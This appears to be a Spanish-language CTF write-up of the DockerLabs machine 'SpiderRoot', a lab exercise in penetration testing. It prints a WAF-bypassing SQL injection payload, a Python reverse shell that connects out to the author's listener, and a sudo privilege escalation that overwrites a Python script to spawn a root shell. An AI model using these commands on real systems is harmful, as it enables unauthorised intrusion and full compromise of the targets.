Post

SpiderRoot, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing ficheros y dirs feroxbuster
waf bypass manual
mysqli payloads basicos
port forwading SSH

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX spiderroot 172.17.0.3

reporte

Como vemos tenemos el 80 http, el 22 ssh, sin mas demora revisamos la web y lanzamos un feroxbuster para ver que directorios y ficheros hay.

Ferox no nos reporta nada interesante , el jugo esta en el login que encontramos en multiverso.

ferox

Login

login

Empecemos a probar manualmente a ver donde falla y corta el payload y que acepta.

Colocando una comilla simple ya salta el waf.

waf

Tal y como esta este waf configurado a mi parecer le desconciertan los espacios asi que juego modificando conocidisimos payloads dandole espacios y alterando mayusculas y minusculas. Me funciono el siguiente payload

1
or 1 =1

waf_bypass

Hemos tenido exito y nos proporcionan la contraseña para poder aceder por ssh.

Infiltracion

Ni bien nos conectamos realizamos las comprobaciones tipicass sudo -l , suid , ficheros escribibles, etc…

Encuentro uno fichero interesantes pero de momento no sirve y busco servicios internos .

files

1
ss -tulnp
  • -t TCP
  • -u UDP
  • -l listening (escuchando)
  • -n mostrar puertos/números (no resolver nombres)
  • -p mostrar proceso/PID (necesita sudo para ver info completa)

ss

Tenemos un servico http corriendo y aparentemente es una ejecucion de comandos.

respuesta

Bien ahora vamos a traernos el puerto a nuestra maquina local , para ello realizamos un port forwading con ssh

1
ssh -L 127.0.0.1:8081:127.0.0.1:8080 peter@172.17.0.3

Con este comando simplemente indicamos que queremos el puerto 8080 de la victima en el puerto 8081 de nuestro host.Para ello me abro otra term y lo ejecuto.

forwading

Movimiento de usuario lateral

Efecivamente lo que vimos con curl era lo correcto podemos ejecutar comandos asi que vamos a mandarnos una revshell.

Si hacemos un id podemos comprobar que estamos en el grupo del usuario que puede modificar el contenido de la carpeta opt , que es lo quiero usar para escalar. Nos ponemos a la escuha y nos mandamos la rev.

1
2
nc -lnvp 8889 # en la atacante
export RHOST="192.168.0.104";export RPORT=8889;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'# en la victima

recibida

No se porque mierda no consegui hacer que la tty funcionara correctamente y hacerla interactiva,(espero leer vuestros writeups a ver si me lo acalrais)pero sigamos.

Una vez con el user nuevo ejecutamos lo siempre sudo -l etc..

Con sudo ya lo tengo clarisimo vamos a cambiar el contenido del fichero spidy.py situado en opt , dado que el usuario www-data pertenece al grupo spiderlab en principio deberiamos poder gestionar los ficheros de dicho directorio.

Yo directamente me voy a spawnear una shell con privilegios.Para ello me voy a crear un backup del original y colocar un fichero con el mismo nombre pero con el contenido que me interesa.

1
2
3
4
5
6
cat > spidy.py <<'PY'
#!/usr/bin/python3
# payload sencillo que levanta una shell interactiva con PTY
import pty, os
pty.spawn("/bin/sh")
PY

spidy

Vamos a aseguranros de que root lo lea demosle permiso y ejecutemos.

1
2
chmod 644 spidy.py
sudo /usr/bin/python3 /opt/spidy.py

Somos root,otra maquinita mas y tambien divertida

Ojo que yo perdi tiempo creyendo que era un jodido path hijacking , pero no , a estar atentos , otra buena maquina de Grooti

Muchas gracias poor leerme, espero que te haya gustado y que te sirva de ayuda.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.